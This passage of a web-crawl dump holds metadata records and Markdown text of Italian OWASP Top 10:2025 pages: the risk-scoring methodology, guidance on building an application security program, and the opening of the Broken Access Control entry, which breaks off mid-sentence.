200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:01", "sha256": "748c16c315b69235c7549fc8ce108d6cd5d7df3b1639aa320e584bfad4732cd1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/g/owasp", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/0x02_2025-What_are_Application_Security_Risks/", "titulek": "Cosa sono i Rischi di Sicurezza delle Applicazioni? - OWASP Top 10:2025", "h1": "Cosa sono i Rischi di Sicurezza delle Applicazioni?", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/0x02_2025-What_are_Application_Security_Risks/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Cosa sono i Rischi di Sicurezza delle Applicazioni?"}, {"uroven": 2, "text": "Come vengono utilizzati i dati per selezionare le categorie e classificarle"}, {"uroven": 2, "text": "Fattori dei dati"}], "markdown": "# Cosa sono i Rischi di Sicurezza delle Applicazioni?\n\nGli attaccanti possono potenzialmente sfruttare molti percorsi diversi attraverso la tua applicazione per danneggiare la tua azienda o organizzazione. Ognuno di questi percorsi rappresenta un potenziale rischio che deve essere esaminato.\n\n| **Agenti di Minaccia** | **Vettori di \\\nAttacco** | **Sfruttabilità** | **Probabilità di Assenza di Controlli** **di Sicurezza** | **Impatti** **Tecnici** | **Impatti** **sul Business** |\n| --- | --- | --- | --- | --- | --- |\n| **In base all'ambiente, \\\ndinamico in base alla situazione** | **In base all'esposizione dell'applicazione (per ambiente)** | **Exploit Medio Ponderato** | **Controlli Mancanti \\\nper tasso medio di incidenza \\\nponderato per copertura** | **Impatto Medio Ponderato** | **Per Business** |\n\nNella nostra valutazione del rischio abbiamo tenuto conto dei parametri universali di sfruttabilità, probabilità media di assenza di controlli di sicurezza per una debolezza e i suoi impatti tecnici.\n\nOgni organizzazione è unica, e così lo sono gli attori delle minacce per quella organizzazione, i loro obiettivi e l'impatto di qualsiasi violazione. Se un'organizzazione di interesse pubblico utilizza un sistema di gestione dei contenuti (CMS) per informazioni pubbliche e un sistema sanitario utilizza lo stesso identico CMS per cartelle cliniche sensibili, gli attori delle minacce e gli impatti sul business possono essere molto diversi per lo stesso software. È fondamentale comprendere il rischio per la propria organizzazione in base all'esposizione dell'applicazione, agli agenti di minaccia applicabili per situazione (per attacchi mirati e non diretti per business e ubicazione) e agli impatti individuali sul business.\n\n## Come vengono utilizzati i dati per selezionare le categorie e classificarle\n\nNel 2017 abbiamo selezionato le categorie in base al tasso di incidenza per determinare la probabilità, e poi le abbiamo classificate tramite discussione del team basata su decenni di esperienza per Sfruttabilità, Rilevabilità (anche probabilità) e Impatto Tecnico. Per il 2021 abbiamo utilizzato dati per Sfruttabilità e Impatto (Tecnico) dai punteggi CVSSv2 e CVSSv3 nel National Vulnerability Database (NVD). Per il 2025 abbiamo continuato la stessa metodologia creata nel 2021.\n\nAbbiamo scaricato OWASP Dependency Check ed estratto i punteggi CVSS di Exploit e Impact raggruppati per CWE correlate. Ha richiesto una discreta ricerca e sforzo poiché tutti i CVE hanno punteggi CVSSv2, ma ci sono difetti in CVSSv2 che CVSSv3 dovrebbe correggere. Dopo un certo punto nel tempo, a tutti i CVE viene assegnato anche un punteggio CVSSv3. Inoltre, gli intervalli di punteggio e le formule sono stati aggiornati tra CVSSv2 e CVSSv3.\n\nIn CVSSv2, sia Exploit che Impatto (Tecnico) potevano arrivare fino a 10,0, ma la formula li abbassava al 60% per Exploit e al 40% per Impact. In CVSSv3, il massimo teorico era limitato a 6,0 per Exploit e 4,0 per Impact. Con la ponderazione considerata, il punteggio di Impact è aumentato, quasi un punto e mezzo in media in CVSSv3, e la sfruttabilità è diminuita di quasi mezzo punto in media quando abbiamo condotto l'analisi per il Top Ten 2021.\n\nCi sono circa 175k record (rispetto ai 125k del 2021) di CVE mappati a CWE nel National Vulnerability Database (NVD), estratti da OWASP Dependency Check. Inoltre, ci sono 643 CWE uniche mappate a CVE (rispetto alle 241 del 2021). Nell'ambito dei quasi 220k CVE estratti, 160k avevano punteggi CVSS v2, 156k avevano punteggi CVSS v3 e 6k avevano punteggi CVSS v4. Molti CVE hanno più punteggi, motivo per cui il totale supera i 220k.\n\nPer il Top Ten 2025 abbiamo calcolato i punteggi medi di exploit e impact raggruppando tutti i CVE con punteggi CVSS per CWE e ponderando entrambi i punteggi in base alla percentuale della popolazione con CVSSv3 e alla restante popolazione con CVSSv2, ottenendo una media complessiva. Abbiamo mappato queste medie alle CWE nel dataset da usare come punteggi di Exploit e Impatto (Tecnico) per l'altra metà dell'equazione del rischio.\n\nPerché non usare CVSS v4.0? Perché l'algoritmo di punteggio è stato modificato in modo sostanziale e non fornisce più facilmente i punteggi di *Exploit* o *Impact* come fanno CVSSv2 e CVSSv3. Tenteremo di trovare un modo per utilizzare il punteggio CVSS v4.0 nelle versioni future del Top Ten, ma non siamo riusciti a determinare un modo tempestivo per farlo per l'edizione 2025.\n\nPer il tasso di incidenza abbiamo calcolato la percentuale di applicazioni vulnerabili a ciascuna CWE dalla popolazione testata da un'organizzazione per un determinato periodo. Come promemoria, non utilizziamo la frequenza (ovvero quante volte un problema appare in un'applicazione), ma siamo interessati a quale percentuale della popolazione di applicazioni è risultata avere ciascuna CWE.\n\nPer la copertura guardiamo la percentuale di applicazioni testate da tutte le organizzazioni per una determinata CWE. Maggiore è la copertura calcolata, più forte è la garanzia che il tasso di incidenza sia accurato poiché la dimensione del campione è più rappresentativa della popolazione.\n\nLa formula che abbiamo utilizzato per questa iterazione è simile a quella del 2021, con alcune modifiche alla ponderazione:\n(Tasso Massimo di Incidenza % * 1000) + (Copertura Massima % * 100) + (Exploit Medio * 10) + (Impatto Medio * 20) + (Totale Occorrenze / 10000) = Punteggio di Rischio\n\nI punteggi calcolati variavano da 621,60 per la categoria Broken Access Control a 271,08 per Memory Management Errors.\n\nNon è un sistema perfetto, ma è utile per classificare le categorie di rischio.\n\nUna sfida aggiuntiva in crescita è la definizione di \"applicazione\". Con lo spostamento del settore verso architetture diverse composte da micro-servizi e altre implementazioni più piccole di un'applicazione tradizionale, i calcoli diventano più difficili. Ad esempio, se un'organizzazione sta testando repository di codice, cosa considera un'applicazione? Analogamente alla crescita di CVSSv4, la prossima edizione del Top Ten potrebbe dover adeguare l'analisi e il punteggio per tenere conto di un settore in costante evoluzione.\n\n## Fattori dei dati\n\nCi sono fattori dei dati elencati per ciascuna delle categorie del Top Ten, ecco cosa significano:\n\n**CWE Mappate:** Il numero di CWE mappate a una categoria dal team del Top Ten.\n\n**Tasso di Incidenza:** Il tasso di incidenza è la percentuale di applicazioni vulnerabili a quella CWE dalla popolazione testata dall'organizzazione per quell'anno.\n\n**Exploit Ponderato:** Il sotto-punteggio Exploit dai punteggi CVSSv2 e CVSSv3 assegnati ai CVE mappati alle CWE, normalizzato e posto su una scala a 10 punti.\n\n**Impatto Ponderato:** Il sotto-punteggio Impact dai punteggi CVSSv2 e CVSSv3 assegnati ai CVE mappati alle CWE, normalizzato e posto su una scala a 10 punti.\n\n**Copertura (Testing):** La percentuale di applicazioni testate da tutte le organizzazioni per una determinata CWE.\n\n**Totale Occorrenze:** Numero totale di applicazioni in cui sono state trovate le CWE mappate a una categoria.\n\n**Totale CVE:** Numero totale di CVE nel DB NVD mappati alle CWE di una categoria.\n\n**Formula:** (Tasso Massimo di Incidenza % * 1000) + (Copertura Massima % * 100) + (Exploit Medio * 10) + (Impatto Medio * 20) + (Totale Occorrenze / 10000) = Punteggio di Rischio", "znaku_textu": 7151, "slov": 1101, "odkazu": 30, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:02", "sha256": "7e5d3373beaded020b531fb8e016be14c39845c7d39a3485754571e978bf0d52", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "titulek": "Sviluppare un Moderno Programma di Sicurezza Applicativa - OWASP Top 10:2025", "h1": "Stabilire un Programma Moderno di Sicurezza Applicativa", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Stabilire un Programma Moderno di Sicurezza Applicativa"}, {"uroven": 3, "text": "1. Stabilire un Approccio al Portfolio Basato sul Rischio:"}, {"uroven": 3, "text": "2. Abilitare con una Base Solida:"}, {"uroven": 3, "text": "3. Integrare la Sicurezza nei Processi Esistenti:"}, {"uroven": 3, "text": "4. Formazione sulla Sicurezza Applicativa:"}, {"uroven": 3, "text": "5. Fornire Visibilità al Management:"}, {"uroven": 2, "text": "Stabilire e Utilizzare Processi di Sicurezza Ripetibili e Controlli di Sicurezza Standard"}, {"uroven": 3, "text": "Fase di Gestione dei Requisiti e delle Risorse:"}, {"uroven": 3, "text": "Richieste di Offerta (RFP) e Contrattualizzazione:"}, {"uroven": 3, "text": "Fase di Pianificazione e Progettazione:"}, {"uroven": 3, "text": "Secure Development Lifecycle:"}, {"uroven": 3, "text": "Stabilire Test Continui di Sicurezza Applicativa:"}, {"uroven": 3, "text": "Rollout:"}, {"uroven": 3, "text": "Operazioni e Gestione dei Cambiamenti:"}, {"uroven": 3, "text": "Dismissione dei Sistemi:"}, {"uroven": 2, "text": "Utilizzo dell'OWASP Top 10 come Standard"}], "markdown": "# Stabilire un Programma Moderno di Sicurezza Applicativa\n\nLe liste OWASP Top Ten sono documenti di sensibilizzazione, pensati per portare attenzione sui rischi più critici di qualsiasi argomento trattino. Non sono pensate come lista completa, ma solo come punto di partenza. Nelle versioni precedenti di questa lista abbiamo prescritto l'avvio di un programma di sicurezza applicativa come il modo migliore per evitare questi rischi e altro ancora. In questa sezione tratteremo come avviare e costruire un programma moderno di sicurezza applicativa.\n\nSe hai già un programma di sicurezza applicativa, considera di eseguire una valutazione della maturità utilizzando [OWASP SAMM (Software Assurance Maturity Model)](https://owasp.org/www-project-samm/) o DSOMM (DevSecOps Maturity Model). Questi modelli di maturità sono completi ed esaustivi e possono essere utilizzati per aiutarti a capire dove dovresti concentrare al meglio i tuoi sforzi per espandere e maturare il tuo programma. Nota: non devi fare tutto ciò che è in OWASP SAMM o DSOMM per svolgere un buon lavoro; sono pensati per guidarti e offrire molte opzioni. Non sono pensati per offrire standard irraggiungibili o descrivere programmi inaccessibili. Sono ampi per offrirti molte idee e opzioni.\n\nSe stai iniziando un programma da zero, o se trovi OWASP SAMM o DSOMM \"troppo\" per il tuo team al momento, ti preghiamo di rivedere i seguenti consigli.\n\n### 1. Stabilire un Approccio al Portfolio Basato sul Rischio:\n\n- Identificare le esigenze di protezione del portfolio applicativo da una prospettiva aziendale. Questo dovrebbe essere guidato in parte dalle leggi sulla privacy e da altre normative pertinenti all'asset di dati da proteggere.\n- Stabilire un [modello comune di valutazione del rischio](https://owasp.org/www-community/OWASP_Risk_Rating_Methodology) con un insieme coerente di fattori di probabilità e impatto che rifletta la tolleranza al rischio dell'organizzazione.\n- Misurare e dare priorità di conseguenza a tutte le applicazioni e API. Aggiungere i risultati al proprio [Configuration Management Database (CMDB)](https://de.wikipedia.org/wiki/Configuration_Management_Database).\n- Stabilire linee guida di assurance per definire correttamente la copertura e il livello di rigore richiesto.\n\n### 2. Abilitare con una Base Solida:\n\n- Stabilire un insieme di policy e standard mirati che forniscano una baseline di sicurezza applicativa a cui tutti i team di sviluppo devono aderire.\n- Definire un insieme comune di controlli di sicurezza riutilizzabili che complementino queste policy e standard e forniscano indicazioni di progettazione e sviluppo sul loro utilizzo.\n- Stabilire un curriculum di formazione sulla sicurezza applicativa che sia obbligatorio e mirato a diversi ruoli di sviluppo e argomenti.\n\n### 3. Integrare la Sicurezza nei Processi Esistenti:\n\n- Definire e integrare attività di implementazione e verifica sicura nei processi di sviluppo e operativi esistenti.\n- Le attività includono threat modeling, progettazione sicura e revisione del design, codifica sicura e code review, penetration testing e remediation.\n- Fornire esperti in materia e servizi di supporto ai team di sviluppo e di progetto per avere successo.\n- Rivedere il ciclo di vita dello sviluppo del sistema attuale e tutte le attività di sicurezza del software, strumenti, policy e processi, quindi documentarli.\n- Per il nuovo software, aggiungere una o più attività di sicurezza a ogni fase del ciclo di vita dello sviluppo del sistema (SDLC). Di seguito offriamo molti suggerimenti su cosa è possibile fare. Assicurarsi di eseguire queste nuove attività su ogni nuovo progetto o iniziativa software, in modo da sapere che ogni nuovo software sarà consegnato con una postura di sicurezza accettabile per la propria organizzazione.\n- Selezionare le attività per garantire che il prodotto finale soddisfi un livello di rischio accettabile per l'organizzazione.\n- Per il software esistente (a volte chiamato legacy) è necessario avere un piano di manutenzione formale; consultare di seguito le idee su come mantenere le applicazioni sicure nella sezione \"Operazioni e Gestione dei Cambiamenti\".\n\n### 4. Formazione sulla Sicurezza Applicativa:\n\n- Considerare di avviare un programma di security champion, o un programma generale di formazione sulla sicurezza per gli sviluppatori (a volte chiamato programma di advocacy o di sensibilizzazione alla sicurezza), per insegnare loro tutto ciò che si vorrebbe che sapessero. Questo li terrà aggiornati, li aiuterà a sapere come svolgere il loro lavoro in modo sicuro e renderà più positiva la cultura della sicurezza nel luogo di lavoro. Spesso migliora anche la fiducia tra i team e crea un rapporto di lavoro più sereno. OWASP ti supporta in questo con la [OWASP Security Champions Guide](https://securitychampions.owasp.org/), che viene ampliata passo dopo passo.\n- Il Progetto OWASP Education fornisce materiali di formazione per aiutare a educare gli sviluppatori sulla sicurezza delle applicazioni web. Per l'apprendimento pratico sulle vulnerabilità, provare [OWASP Juice Shop Project](https://owasp.org/www-project-juice-shop/), o [OWASP WebGoat](https://owasp.org/www-project-webgoat/). Per rimanere aggiornati, partecipare a una [Conferenza OWASP AppSec](https://owasp.org/events/), a [OWASP Conference Training](https://owasp.org/events/), o alle riunioni del [capitolo OWASP](https://owasp.org/chapters/) locale.\n\n### 5. Fornire Visibilità al Management:\n\n- Gestire con le metriche. Guidare le decisioni di miglioramento e finanziamento basandosi sulle metriche e sui dati di analisi raccolti. Le metriche includono l'aderenza alle pratiche e alle attività di sicurezza, le vulnerabilità introdotte, le vulnerabilità mitigate, la copertura delle applicazioni, la densità dei difetti per tipo e conteggi delle istanze, ecc.\n- Analizzare i dati delle attività di implementazione e verifica per cercare la causa radice e i pattern di vulnerabilità per guidare miglioramenti strategici e sistemici nell'intera azienda. Imparare dagli errori e offrire incentivi positivi per promuovere i miglioramenti.\n\n## Stabilire e Utilizzare Processi di Sicurezza Ripetibili e Controlli di Sicurezza Standard\n\n### Fase di Gestione dei Requisiti e delle Risorse:\n\n- Raccogliere e negoziare i requisiti aziendali per un'applicazione con il business, inclusi i requisiti di protezione per quanto riguarda la riservatezza, l'autenticità, l'integrità e la disponibilità di tutti gli asset di dati, e la logica di business prevista.\n- Compilare i requisiti tecnici inclusi i requisiti di sicurezza funzionali e non funzionali. OWASP raccomanda di utilizzare l'[OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) come guida per definire i requisiti di sicurezza per le proprie applicazioni.\n- Pianificare e negoziare il budget che copre tutti gli aspetti di progettazione, costruzione, test e operazioni, incluse le attività di sicurezza.\n- Aggiungere le attività di sicurezza al proprio calendario di progetto.\n- Presentarsi come rappresentante della sicurezza al kick-off del progetto, in modo che sappiano con chi parlare.\n\n### Richieste di Offerta (RFP) e Contrattualizzazione:\n\n- Negoziare i requisiti con sviluppatori interni o esterni, incluse linee guida e requisiti di sicurezza rispetto al proprio programma di sicurezza, ad esempio SDLC, best practice.\n- Valutare il soddisfacimento di tutti i requisiti tecnici, inclusa una fase di pianificazione e progettazione.\n- Negoziare tutti i requisiti tecnici, inclusi progettazione, sicurezza e service level agreement (SLA).\n- Adottare template e checklist, come [OWASP Secure Software Contract Annex](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex).\n**Nota:** *L'annex è per la legge contrattuale statunitense, quindi si prega di consultare un consulente legale qualificato prima di utilizzare l'annex di esempio.*\n\n### Fase di Pianificazione e Progettazione:\n\n- Negoziare la pianificazione e la progettazione con gli sviluppatori e gli stakeholder interni, ad esempio gli specialisti di sicurezza.\n- Definire l'architettura di sicurezza, i controlli, le contromisure e le revisioni del design appropriate alle esigenze di protezione e al livello di minaccia previsto. Questo dovrebbe essere supportato dagli specialisti di sicurezza.\n- Piuttosto che inserire la sicurezza retroattivamente nelle applicazioni e nelle API, è molto più conveniente progettare la sicurezza fin dall'inizio. OWASP raccomanda le [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) e i [OWASP Proactive Controls](https://top10proactive.owasp.org/) come buon punto di partenza per le indicazioni su come progettare la sicurezza inclusa fin dall'inizio.\n- Eseguire il threat modeling, vedere [OWASP Cheat Sheet: Threat Modeling](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html).\n- Insegnare agli architetti software i concetti e i pattern di progettazione sicura e chiedere loro di aggiungerli ai loro design ove possibile.\n- Esaminare i flussi di dati con gli sviluppatori.\n- Aggiungere user story di sicurezza accanto a tutte le altre user story.\n\n### Secure Development Lifecycle:\n\n- Per migliorare il processo che la propria organizzazione segue nella costruzione di applicazioni e API, OWASP raccomanda l'[OWASP Software Assurance Maturity Model (SAMM)](https://owasp.org/www-project-samm/). Questo modello aiuta le organizzazioni a formulare e implementare una strategia per la sicurezza del software su misura per i rischi specifici che affrontano.\n- Fornire formazione sulla codifica sicura agli sviluppatori software, e qualsiasi altra formazione che si ritiene possa aiutarli a creare applicazioni più robuste e sicure.\n- Code review, vedere [OWASP Cheat Sheet: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html).\n- Fornire agli sviluppatori strumenti di sicurezza, poi insegnare loro come usarli, in particolare analisi statica, analisi della composizione del software, secret scanner e scanner [Infrastructure-as-Code (IaC)](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html).\n- Creare guardrail per gli sviluppatori, se possibile (salvaguardie tecniche per orientarli verso scelte più sicure).\n- Costruire controlli di sicurezza forti e utilizzabili è difficile. Offrire default sicuri quando possibile, e creare \"strade asfaltate\" (rendendo il modo più semplice anche il modo più sicuro per fare qualcosa, il modo preferito ovvio) quando possibile. Le [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) sono un buon punto di partenza per gli sviluppatori, e molti framework moderni ora includono controlli di sicurezza standard ed efficaci per autorizzazione, validazione, prevenzione CSRF, ecc.\n- Fornire agli sviluppatori plugin IDE relativi alla sicurezza e incoraggiarli a utilizzarli.\n- Fornire loro uno strumento di gestione dei segreti, licenze e documentazione su come utilizzarlo.\n- Fornire loro un'AI privata da utilizzare, idealmente configurata con un server RAG pieno di documentazione di sicurezza utile, prompt scritti dal team per risultati migliori e un server MCP che chiama gli strumenti di sicurezza preferiti dell'organizzazione. Insegnare loro come usare l'AI in modo sicuro, perché lo faranno comunque.\n\n### Stabilire Test Continui di Sicurezza Applicativa:\n\n- Testare le funzioni tecniche e l'integrazione con l'architettura IT e coordinare i test aziendali.\n- Creare casi di test \"use\" e \"abuse\" da prospettive tecniche e aziendali.\n- Gestire i test di sicurezza in base ai processi interni, alle esigenze di protezione e al livello di minaccia presunto dell'applicazione.\n- Fornire strumenti di test della sicurezza (fuzzer, DAST, ecc.), un luogo sicuro per testare e formazione su come usarli, OPPURE eseguire i test per loro OPPURE assumere un tester.\n- Se si richiede un alto livello di assurance, considerare un penetration test formale, nonché stress testing e performance testing.\n- Lavorare con gli sviluppatori per aiutarli a decidere cosa devono correggere dai bug report e garantire che i loro manager concedano loro il tempo per farlo.\n\n### Rollout:\n\n- Mettere in funzione l'applicazione e migrare dalle applicazioni precedentemente utilizzate se necessario.\n- Finalizzare tutta la documentazione, incluso il change management database (CMDB) e l'architettura di sicurezza.\n\n### Operazioni e Gestione dei Cambiamenti:\n\n- Le operazioni devono includere linee guida per la gestione della sicurezza dell'applicazione (ad esempio, patch management).\n- Aumentare la consapevolezza della sicurezza degli utenti e gestire i conflitti tra usabilità e sicurezza.\n- Pianificare e gestire i cambiamenti, ad esempio migrare a nuove versioni dell'applicazione o di altri componenti come OS, middleware e librerie.\n- Assicurarsi che tutte le app siano nell'inventario, con tutti i dettagli importanti documentati. Aggiornare tutta la documentazione, incluso il CMDB e l'architettura di sicurezza, i controlli e le contromisure, inclusi eventuali runbook o documentazione di progetto.\n- Eseguire logging, monitoraggio e alerting per tutte le app. Aggiungerlo se manca.\n- Creare processi per aggiornamenti e patch efficaci ed efficienti.\n- Creare calendari di scansione regolari (idealmente dinamica, statica, segreti, IaC e analisi della composizione del software).\n- SLA per la correzione dei bug di sicurezza.\n- Fornire un modo per i dipendenti (e idealmente anche per i clienti) di segnalare bug.\n- Stabilire un team di risposta agli incidenti addestrato che comprenda come appaiono gli attacchi e gli incidenti software, strumenti di osservabilità.\n- Eseguire strumenti di blocco o protezione per fermare gli attacchi automatizzati.\n- Hardening annuale (o più frequente) delle configurazioni.\n- Penetration testing almeno annuale (a seconda del livello di assurance richiesto per la propria app).\n- Stabilire processi e strumenti per l'hardening e la protezione della supply chain software.\n- Stabilire e aggiornare la pianificazione della continuità operativa e del disaster recovery che includa le applicazioni più importanti e gli strumenti utilizzati per mantenerle.\n\n### Dismissione dei Sistemi:\n\n- Tutti i dati richiesti devono essere archiviati. Tutti gli altri dati devono essere eliminati in modo sicuro.\n- Dismettere in modo sicuro l'applicazione, inclusa l'eliminazione di account, ruoli e permessi non utilizzati.\n- Impostare lo stato dell'applicazione su \"dismesso\" nel CMDB.\n\n## Utilizzo dell'OWASP Top 10 come Standard\n\nL'OWASP Top 10 è principalmente un documento di sensibilizzazione. Tuttavia, questo non ha impedito alle organizzazioni di utilizzarlo come standard AppSec del settore de facto dalla sua nascita nel 2003. Se si desidera utilizzare l'OWASP Top 10 come standard di codifica o test, è bene sapere che è il minimo assoluto e solo un punto di partenza.\n\nUna delle difficoltà nell'utilizzare l'OWASP Top 10 come standard è che documentiamo i rischi AppSec e non necessariamente problemi facilmente testabili. Ad esempio, [A06:2025-Insecure Design](../A06_2025-Insecure_Design/) va oltre la portata della maggior parte delle forme di testing. Un altro esempio è testare se il logging e il monitoraggio in atto, in uso ed efficaci sono implementati, il che può essere fatto solo con interviste e richiedendo un campionamento di risposte agli incidenti efficaci. Uno strumento di analisi statica del codice può cercare l'assenza di logging, ma potrebbe essere impossibile determinare se la logica di business o il controllo degli accessi stia registrando violazioni critiche della sicurezza. I penetration tester potrebbero essere in grado solo di determinare che hanno invocato la risposta agli incidenti in un ambiente di test, che viene raramente monitorato allo stesso modo della produzione.\n\nEcco le nostre raccomandazioni su quando è appropriato utilizzare l'OWASP Top 10:\n\n| **Caso d'Uso** | **OWASP Top 10 2025** | **OWASP Application Security Verification Standard** |\n| --- | --- | --- |\n| Sensibilizzazione | Sì | |\n| Formazione | Livello base | Completo |\n| Progettazione e architettura | Occasionalmente | Sì |\n| Standard di codifica | Minimo indispensabile | Sì |\n| Secure Code review | Minimo indispensabile | Sì |\n| Checklist di peer review | Minimo indispensabile | Sì |\n| Unit testing | Occasionalmente | Sì |\n| Integration testing | Occasionalmente | Sì |\n| Penetration testing | Minimo indispensabile | Sì |\n| Supporto degli strumenti | Minimo indispensabile | Sì |\n| Secure Supply Chain | Occasionalmente | Sì |\n\nIncoraggiamo chiunque voglia adottare uno standard di sicurezza applicativa a utilizzare l'[OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/) (ASVS), poiché è progettato per essere verificabile e testato, e può essere utilizzato in tutte le parti di un ciclo di sviluppo sicuro.\n\nL'ASVS è l'unica scelta accettabile per i vendor di strumenti. Gli strumenti non possono rilevare, testare o proteggere in modo completo contro l'OWASP Top 10 a causa della natura di alcuni dei rischi dell'OWASP Top 10, con riferimento a [A06:2025-Insecure Design](../A06_2025-Insecure_Design/). OWASP scoraggia qualsiasi affermazione di copertura completa dell'OWASP Top 10, perché è semplicemente non vera.", "znaku_textu": 17205, "slov": 2338, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:03", "sha256": "ab6b0abf1a9642b8ea34e09c6db29a92ffbbdad533c6391db02cd5df9e83aa7c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://de.wikipedia.org/wiki/Configuration_Management_Database", "https://securitychampions.owasp.org/", "https://cheatsheetseries.owasp.org/index.html", "https://top10proactive.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/A01_2025-Broken_Access_Control/", "titulek": "A01 Broken Access Control - OWASP Top 10:2025", "h1": "A01:2025 Broken Access Control", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/A01_2025-Broken_Access_Control/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A01:2025 Broken Access Control"}, {"uroven": 2, "text": "Contesto."}, {"uroven": 2, "text": "Tabella dei punteggi."}, {"uroven": 2, "text": "Descrizione."}, {"uroven": 2, "text": "Come prevenire."}, {"uroven": 2, "text": "Scenari di attacco di esempio."}, {"uroven": 2, "text": "Riferimenti."}, {"uroven": 2, "text": "Lista delle CWE Mappate"}], "markdown": "# A01:2025 Broken Access Control\n\n## Contesto.\n\nMantenendo la sua posizione al #1 nel Top Ten, il 100% delle applicazioni testate è risultato avere qualche forma di broken access control. Tra le CWE degne di nota vi sono *CWE-200: Exposure of Sensitive Information to an Unauthorized Actor*, *CWE-201: Exposure of Sensitive Information Through Sent Data*, *CWE-918 Server-Side Request Forgery (SSRF)* e *CWE-352: Cross-Site Request Forgery (CSRF)*. Questa categoria ha il maggior numero di occorrenze nei dati contribuiti e il secondo più alto numero di CVE correlati.\n\n## Tabella dei punteggi.\n\n| CWE Mappate | Tasso Massimo di Incidenza | Tasso Medio di Incidenza | Copertura Massima | Copertura Media | Exploit Medio Ponderato | Impatto Medio Ponderato | Totale Occorrenze | Totale CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 40 | 20,15% | 3,74% | 100,00% | 42,93% | 7,04 | 3,84 | 1.839.701 | 32.654 |\n\n## Descrizione.\n\nIl controllo degli accessi applica policy tali per cui gli utenti non possono agire al di fuori dei propri permessi previsti. I fallimenti portano tipicamente a divulgazione non autorizzata di informazioni, modifica o distruzione di tutti i dati, o all'esecuzione di una funzione di business al di fuori dei limiti dell'utente. Le vulnerabilità comuni di controllo degli accessi includono:\n\n- Violazione del principio del minimo privilegio, comunemente noto come deny by default, dove l'accesso dovrebbe essere concesso solo per determinate capacità, ruoli o utenti, ma è disponibile a chiunque.\n- Aggiramento dei controlli di accesso modificando l'URL (parameter tampering o force browsing), lo stato interno dell'applicazione o la pagina HTML, oppure utilizzando uno strumento di attacco che modifica le richieste API.\n- Permettere la visualizzazione o la modifica dell'account di qualcun altro fornendo il suo identificatore univoco (insecure direct object references).\n- Un'API accessibile con controlli di accesso mancanti per POST, PUT e DELETE.\n- Escalation di privilegi. Agire come utente senza essere autenticati o acquisire privilegi superiori a quelli previsti per l'utente autenticato (es. accesso admin).\n- Manipolazione dei metadati, come il replay o la manomissione di un token di controllo degli accessi JSON Web Token (JWT), un cookie o un campo nascosto manipolato per elevare i privilegi, o l'abuso dell'invalidazione JWT.\n- La configurazione errata di CORS consente l'accesso alle API da origini non autorizzate o non attendibili.\n- Force browsing (indovinare URL) verso pagine autenticate come utente non autenticato o verso pagine privilegiate come utente standard.\n\n## Come prevenire.\n\nIl controllo degli accessi è efficace solo se implementato in codice lato server attendibile o in API serverless, dove l'attaccante non può modificare il controllo degli accessi o i metadati.\n\n- Tranne per le risorse pubbliche, negare l'accesso per default.\n- Implementare i meccanismi di controllo degli accessi una sola volta e riutilizzarli in tutta l'applicazione, inclusa la minimizzazione dell'utilizzo del Cross-Origin Resource Sharing (CORS).\n- I modelli di controllo degli accessi devono applicare la proprietà dei record piuttosto che consentire agli utenti di creare, leggere, aggiornare o eliminare qualsiasi record.\n- I requisiti di limite di business univoci dell'applicazione devono essere applicati dai modelli di dominio.\n- Disabilitare il directory listing del web server e garantire che i metadati dei file (es. .git) e i file di backup non siano presenti nelle web root.\n- Registrare i fallimenti del controllo degli accessi, inviare alert agli amministratori quando appropriato (es. fallimenti ripetuti).\n- Implementare limiti di frequenza sull'accesso ad API e controller per minimizzare i danni degli strumenti di attacco automatizzati.\n- Gli identificatori di sessione con stato devono essere invalidati sul server dopo il logout. I token JWT senza 